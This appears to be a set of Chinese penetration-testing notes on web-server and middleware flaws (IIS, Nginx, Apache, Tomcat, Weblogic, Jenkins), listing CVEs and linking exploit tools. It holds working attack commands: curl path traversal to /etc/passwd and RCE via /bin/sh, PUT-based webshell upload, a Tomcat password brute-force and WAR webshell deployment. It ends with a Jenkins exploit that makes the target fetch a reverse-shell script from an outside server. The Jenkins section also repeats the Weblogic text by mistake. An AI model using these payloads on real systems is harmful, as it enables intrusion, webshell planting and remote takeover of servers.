IIS
IIS短文件漏洞
此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
利用工具
https://github.com/irsdl/IIS-ShortName-Scanner
https://github.com/lijiejie/IIS_shortname_Scanner
IIS文件解析漏洞
IIS 6 解析漏洞
-
该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析
-
该版本默认会将*.asp/目录下的所有文件当成Asp解析
如:logo.asp;.jpg xx.asp/logo.jpg
IIS 7.x 解析漏洞
- 在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件
- 应用场景:配合文件上传获取Webshell
Nginx
DNS解析漏洞(cve-2021-23017)
受影响版本:0.6.18-1.20.0
**poc地址:**https://github.com/M507/CVE-2021-23017-PoC
复现失败
文件名逻辑漏洞(cve-2013-4547)
受影响版本:0.8.41 ~ 1.4.3 /1.5.0 ~ 1.5.7
\0也就是c语言的结束符的意思,之后我们的通过我们的\0将这个文件名截断成我们的fastcgi认为他到1.gif就结束了,之后对上传的文件进行检查,发现他没有以php结尾,就将这个文件上传上去,然后我们的php-fpm.conf的安全后缀策略(security.limit_extensions = )是空的,之后他就会执行我们上传的1.gif \0.php文件。
测试
测试
成功
解析漏洞(配置不当)
我们在配置php.ini的时候,开启了我们的自动修复路径(cgi.fix_pathinfo=1),也就是我们访问http://127.0.0.1/test.jpg/test.php,由于没有test.php这个文件我们服务器会自动到上一个路径,发现有test.jpg于是就自己执行了这个文件,但是由于我们在配置php-fpm.conf的安全后缀策略(security.limit_extensions = jpg php )为空或者就只有jpg和php,我们的服务就会执行jpg和php,我们的test.jpg里面就是我们的恶意的php代码,之后通过解析为php文件就导致了我们执行该文件,从而产生了我们的漏洞。
假如下图是上传了包含<?phpinfo();?>的图片
在后面添加/.php后缀,就会被解析为php
Apache
目录穿越&命令执行(cve-2021-41773)
版本影响:2.4.49、2.4.50
可见靶场的apache版本满足漏洞版本
目录穿越
curl -v --path-as-is http://ip:port/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
RCE
curl --data "echo;id" http://ip:port/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
文件解析(cve-2017-15715)
版本影响:2.4.0-2.4.29
上传成功
Tomcat
弱口令getshell
影响版本:全版本
弱口令部署war包getshell
点击【manager app】弹出后台登录框
抓包爆破
标记加密的位置
选择自定义迭代器
位置一填用户名
位置二填:
位置三填密码
payload处理选择base64加密
爆破成功
用户名:tomcat 密码:qwe123
登录成功
生成jsp一句话木马
将jsp木马zip压缩后更改后缀为war 生成war包
部署war包
链接成功
文件上传(cve-2017-12615)
影响版本:7.0.0-7.0.81
使用PUT方法请求 将木马放入数据内,即可上传
三种构造url方式:
PUT /x.jsp/
PUT /x.jsp%20
PUT /x.jsp::$DATA
前两种针对linux 第三种针对windows
返回201即是上传成功
文件包含(cve-2020-1938)
影响版本:6.* 、7.*<7.0.100、8.*<8.5.51、9.*<9.0.31
工具:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
读取WEB-INF/web.xml文件
Weblogic
默认端口:7001
weblogic由于有很多漏洞,所以直接梭哈
工具地址:https://github.com/KimJun1010/WeblogicTool
Jenkins
默认端口:8080
Jenkins-CI远程代码执行(cve-2017-1000353)
影响版本:Jenkins <= 2.56 Jenkins LTS <= 2.46.1
默认端口:7001
weblogic由于有很多漏洞,所以直接梭哈
工具地址:https://github.com/KimJun1010/WeblogicTool
再使用python的exp执行
shell反弹成功
远程命令执行(cve-2018-1000861)
影响版本:Jenkins <= 2.153 Jenkins LTS <= 2.138.3
工具下载:https://github.com/orangetw/awesome-jenkins-rce-2019
先将反弹shell的命令放在自己公网服务器上
python2 exp.py http://123.58.224.8:31731 "curl -o /tmp/1.sh http://117.72.120.22/qdy.txt"
可以看见qdy.txt文件被目标服务器请求了
执行反弹shell命令
成功接收shell